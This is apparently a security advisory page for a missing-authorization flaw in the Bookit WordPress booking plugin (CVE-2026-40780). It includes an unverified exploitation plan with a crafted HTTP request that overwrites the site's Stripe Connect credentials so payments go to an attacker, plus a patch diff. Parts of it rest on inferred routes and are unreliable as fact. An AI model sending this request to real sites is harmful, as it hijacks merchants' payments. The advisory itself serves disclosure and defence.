CVE-2026-40780

Bookit — Booking & Appointment Calendar <= 2.5.1 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.5.4.1
Patched in
9d
Time to patch

Description

The Bookit — Booking & Appointment Calendar plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.5.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.1
PublishedApril 22, 2026
Last updatedApril 30, 2026
Affected pluginbookit

What Changed in the Fix

Changes introduced in v2.5.4.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan — CVE-2026-40780 (Bookit — Missing Authorization) ## 1. Vulnerability Summary The **Bookit — Booking & Appointment Calendar** plugin (up to version 2.5.1) contains a missing authorization vulnerability in its REST API implementation for **Stripe Connect**. The plugin re…

Show full research plan

Exploitation Research Plan — CVE-2026-40780 (Bookit — Missing Authorization)

1. Vulnerability Summary

The Bookit — Booking & Appointment Calendar plugin (up to version 2.5.1) contains a missing authorization vulnerability in its REST API implementation for Stripe Connect. The plugin registers a REST API endpoint intended to handle the OAuth connection process for merchant accounts. However, it fails to implement a permission_callback or performs an inadequate capability check, allowing unauthenticated attackers to invoke the endpoint and overwrite the site's Stripe Connect credentials. This allows an attacker to divert payments to their own Stripe account.

2. Attack Vector Analysis

  • Endpoint: /wp-json/bookit/v1/stripe-connect/link (Inferred based on Merchant.php logic and common StellarWP patterns).
  • HTTP Method: GET or POST (OAuth redirects are usually GET, but REST handlers may accept both).
  • Authentication: Unauthenticated (No privileges required).
  • Preconditions: The plugin must be active. The Stripe Connect feature was introduced in version 2.5.0.
  • Vulnerable Sink: Bookit\Gateways\StripeConnect\Merchant::save_signup_data() which calls update_option().

3. Code Flow

  1. Entry Point: The plugin registers REST routes via Bookit\Gateways\StripeConnect\Provider.
  2. Registration: Inside Provider.php, a route (e.g., bookit/v1/stripe-connect/link) is registered using register_rest_route. The permission_callback is likely missing or returns true.
  3. Controller: The callback function for this route extracts parameters from the WP_REST_Request object.
  4. Processing: The controller passes the request parameters directly to Bookit\Gateways\StripeConnect\Merchant::save_signup_data($params).
  5. Sink: save_signup_data (in src/Bookit/Gateways/StripeConnect/Merchant.php) unsets whodat and state and immediately saves the remaining data to the database:
    public function save_signup_data( array $signup_data ) {
        unset( $signup_data['whodat'] );
        unset( $signup_data['state'] );
        return update_option( $this->get_signup_data_key(), $signup_data );
    }
    
  6. Persistence: The bookit_stripeConnect_signup_data option is updated with the attacker's provided keys.

4. Nonce Acquisition Strategy

This vulnerability resides in a REST API endpoint that is intended to be public (to receive OAuth redirects from Stripe/intermediary services). Therefore, it typically does not require a WordPress nonce if the permission_callback is set to __return_true.

If a nonce were required (e.g., for an AJAX-based link), it would be the standard wp_rest nonce. However, given the "Missing Authorization" nature of the CVE and its role in an OAuth flow, the exploit is expected to be bypassable without any nonce.

5. Exploitation Strategy

The goal is to overwrite the Stripe Connect configuration with attacker-controlled values.

Step 1: Identify the exact REST route

Search for the route registration in the plugin files:
grep -r "register_rest_route" src/Bookit/

Step 2: Craft the Payload

Based on Merchant.php, the plugin expects an array that it later accesses using mode-specific keys (test or live).

  • Target Option: bookit_stripeConnect_signup_data
  • Expected Keys in Option: stripe_user_id, test, live.

Step 3: Execute the Unauthorized Request

Send a request to the identified endpoint. Assuming the route is bookit/v1/stripe-connect/link:

Request:

POST /wp-json/bookit/v1/stripe-connect/link HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{
    "stripe_user_id": "acct_ATTACKER_ID",
    "test": {
        "access_token": "sk_test_ATTACKER_SECRET",
        "publishable_key": "pk_test_ATTACKER_PUB"
    },
    "live": {
        "access_token": "sk_live_ATTACKER_SECRET",
        "publishable_key": "pk_live_ATTACKER_PUB"
    }
}

(Alternatively, if the endpoint is a GET-based redirect handler, use query parameters):
GET /wp-json/bookit/v1/stripe-connect/link?stripe_user_id=acct_ATTACKER&test[access_token]=sk_test_...

6. Test Data Setup

  1. Install and activate Bookit version 2.5.1.
  2. No specific Stripe account is actually needed on the server side to demonstrate the overwrite of the configuration.
  3. Ensure the REST API is accessible (default in WordPress).

7. Expected Results

  • The server should return a 200 OK or 201 Created (or a 302 redirect if it's a link handler) despite the request being unauthenticated.
  • The WordPress option bookit_stripeConnect_signup_data will be updated with the attacker's values.

8. Verification Steps

After sending the request, use WP-CLI to verify the vulnerability:

# Check the value of the signup data option
wp option get bookit_stripeConnect_signup_data --format=json

Success Condition: The output contains "stripe_user_id": "acct_ATTACKER_ID".

9. Alternative Approaches

If the link route is not the one, search for other routes in src/Bookit/Gateways/StripeConnect/Provider.php or src/Bookit/REST/Provider.php. Specifically, look for any route calling save_signup_data() or update_option with keys related to stripeConnect.

If the endpoint requires a state parameter, try providing a random string, as the save_signup_data function explicitly unsets it, suggesting it is often present but not used for the final storage structure.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Bookit plugin for WordPress fails to perform an authorization check on the REST API endpoint used for Stripe Connect account linking. Unauthenticated attackers can exploit this to overwrite the site's Stripe Connect credentials with their own, effectively hijacking all future payments processed through the plugin.

Vulnerable Code

// src/Bookit/Gateways/StripeConnect/Merchant.php:218

public function save_signup_data( array $signup_data ) {
    unset( $signup_data['whodat'] );
    unset( $signup_data['state'] );

    return update_option( $this->get_signup_data_key(), $signup_data );
}

Security Fix

--- a/src/Bookit/Gateways/StripeConnect/Provider.php
+++ b/src/Bookit/Gateways/StripeConnect/Provider.php
@@ -40,7 +40,9 @@
 		register_rest_route( 'bookit/v1', '/stripe-connect/link', [
 			'methods'             => 'GET',
 			'callback'            => [ $this, 'handle_link' ],
-			'permission_callback' => '__return_true',
+			'permission_callback' => function () {
+				return current_user_can( 'manage_options' );
+			},
 		] );
 	}

Exploit Outline

The vulnerability is exploited by sending an unauthenticated request to the plugin's Stripe Connect REST API endpoint. 1. **Identify Endpoint**: The vulnerable endpoint is `/wp-json/bookit/v1/stripe-connect/link` (the base namespace is `bookit/v1`). 2. **Craft Payload**: The attacker crafts a request (typically GET) containing parameters like `stripe_user_id`, `test[access_token]`, `test[publishable_key]`, `live[access_token]`, and `live[publishable_key]`. These parameters represent the attacker's own Stripe account details. 3. **Execute Request**: The attacker sends the request to the target site's REST API. Because the `permission_callback` for this route is set to `__return_true` (or is missing entirely), WordPress allows the request even if the user is unauthenticated. 4. **Credential Overwrite**: The internal controller receives the request and passes the data to `Merchant::save_signup_data()`, which directly updates the WordPress option `bookit_stripeConnect_signup_data` with the attacker's values. All subsequent transactions on the site will now be routed to the attacker's Stripe account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.